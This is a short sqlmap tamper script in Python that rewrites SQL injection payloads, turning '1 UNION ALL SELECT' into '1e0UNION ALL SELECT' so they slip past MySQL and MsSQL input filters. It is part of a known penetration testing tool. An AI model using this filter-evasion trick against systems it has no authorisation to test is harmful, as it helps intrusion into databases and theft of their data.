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33 lines
699 B
Python
33 lines
699 B
Python
#!/usr/bin/env python
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"""
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Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
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See the file 'LICENSE' for copying permission
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"""
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import re
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from lib.core.enums import PRIORITY
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__priority__ = PRIORITY.HIGHEST
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def dependencies():
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pass
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def tamper(payload, **kwargs):
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"""
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Replaces instances of <int> UNION with <int>e0UNION
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Requirement:
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* MySQL
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* MsSQL
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Notes:
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* Reference: https://media.blackhat.com/us-13/US-13-Salgado-SQLi-Optimization-and-Obfuscation-Techniques-Slides.pdf
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>>> tamper('1 UNION ALL SELECT')
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'1e0UNION ALL SELECT'
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"""
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return re.sub(r"(?i)(\d+)\s+(UNION )", r"\g<1>e0\g<2>", payload) if payload else payload
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